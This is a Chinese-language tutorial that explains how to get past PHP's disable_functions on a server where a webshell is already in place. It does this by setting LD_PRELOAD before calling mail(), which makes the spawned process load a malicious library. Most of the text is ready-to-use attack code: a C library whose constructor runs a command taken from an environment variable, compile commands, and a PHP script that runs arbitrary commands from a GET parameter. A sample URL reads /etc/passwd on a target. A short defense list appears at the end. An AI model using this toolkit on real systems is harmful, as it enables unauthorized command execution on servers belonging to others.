无需sendmail:巧用LD_PRELOAD突破disable_functions
字数 1711 2025-08-18 11:37:49
利用LD_PRELOAD绕过PHP disable_functions限制的技术指南
1. 背景与问题概述
当获取Webshell后,有时会发现无法执行系统命令,这通常是由于PHP配置中的disable_functions禁用了命令执行相关函数(如system()、exec()等)。本文介绍一种利用环境变量LD_PRELOAD劫持系统函数的技术,即使在没有安装sendmail的情况下也能绕过这些限制。
2. 绕过disable_functions的常见方法
- 攻击后端组件:寻找存在命令注入漏洞的常用后端组件(如ImageMagick、Bash等)
- 寻找未禁用的函数:尝试不常见的命令执行函数(如
popen()、proc_open()等) - mod_cgi模式:修改.htaccess文件调整请求路由
- LD_PRELOAD劫持:利用环境变量劫持系统函数(本文重点)
3. LD_PRELOAD技术原理
3.1 基本概念
LD_PRELOAD是Linux的一个环境变量,可以指定在程序运行前优先加载的共享库。通过这个机制,我们可以:
- 让外部程序加载我们编写的恶意.so文件
- 覆盖系统中的原有函数实现
- 达到执行任意代码的目的
3.2 技术思路
- 控制Web应用启动新进程(即使进程名无法指定)
- 该进程内部调用系统函数b()(位于系统共享对象c.so中)
- 通过
LD_PRELOAD优先加载我们编写的c_evil.so - c_evil.so中包含与b()同名的恶意函数
- 由于优先级高,进程将调用我们的恶意函数而非系统函数
4. 技术实现步骤
4.1 查看进程调用系统函数明细
使用以下工具分析程序行为:
-
ldd:查看程序依赖的共享对象ldd /usr/bin/id -
nm或readelf:查看程序可能调用的系统APInm -D /usr/bin/id readelf -Ws /usr/bin/id -
strace:跟踪实际调用的APIstrace -f /usr/bin/id
4.2 操作系统环境下劫持系统函数
以劫持getuid()为例:
-
查看函数原型:
man 2 getuid -
编写劫持代码(getuid_shadow.c):
#include <sys/types.h> #include <unistd.h> uid_t getuid(void) { // 恶意代码 system("touch /tmp/evil"); return 0; } -
编译为共享对象:
gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so -
通过LD_PRELOAD劫持:
LD_PRELOAD=/path/to/getuid_shadow.so /usr/bin/id
4.3 寻找PHP中启动新进程的函数
通过测试发现mail()函数会启动/usr/sbin/sendmail进程,即使没有安装sendmail也会尝试启动。
测试方法:
strace -f php mail.php 2>&1 | grep -A2 -B2 execve
4.4 PHP环境下实现劫持
-
创建mail.php:
<?php putenv("LD_PRELOAD=/var/www/getuid_shadow.so"); mail("a@localhost", "", "", ""); ?> -
上传getuid_shadow.so到Web目录
-
访问mail.php将执行恶意代码
5. 优化方案:不依赖特定函数劫持
原始方法依赖劫持特定函数(如getuid()),存在以下问题:
- 目标系统可能未安装sendmail
- 域名解析可能导致延迟
- 需要知道具体会被调用的函数
改进方案:使用GCC的__attribute__((constructor))特性,使代码在共享库加载时自动执行,无需劫持特定函数。
优化后的bypass_disablefunc.c:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void preload (void) {
char *cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}
6. 完整利用工具
6.1 bypass_disablefunc.php
<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$sopath = $_GET["sopath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
putenv("LD_PRELOAD=" . $sopath);
mail("a@localhost", "", "", "");
echo "<p>Command executed, output at: " . $out_path . "</p>";
echo "<pre>" . file_get_contents($out_path) . "</pre>";
unlink($out_path);
?>
6.2 使用步骤
-
编译共享库:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so # 对于32位系统 gcc -shared -fPIC -m32 bypass_disablefunc.c -o bypass_disablefunc_x86.so -
上传到目标服务器:
- bypass_disablefunc.php
- bypass_disablefunc_x64.so(或x86版)
-
通过URL访问:
http://target/bypass_disablefunc.php?cmd=cat+/etc/passwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
7. 注意事项
- 确保PHP支持
putenv()和mail()函数 - 输出文件路径需要有写权限
- 共享库路径需要可访问
- 根据目标架构编译对应版本的.so文件
- 无需实际安装或配置sendmail
8. 防御措施
- 限制或禁用
putenv()函数 - 限制
mail()函数的使用 - 使用
open_basedir限制文件访问 - 禁用不必要的PHP函数
- 定期更新系统和PHP版本
9. 资源获取
完整工具代码可在GitHub获取:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
通过这种技术,即使在没有sendmail的环境中,也能有效绕过disable_functions限制,执行系统命令。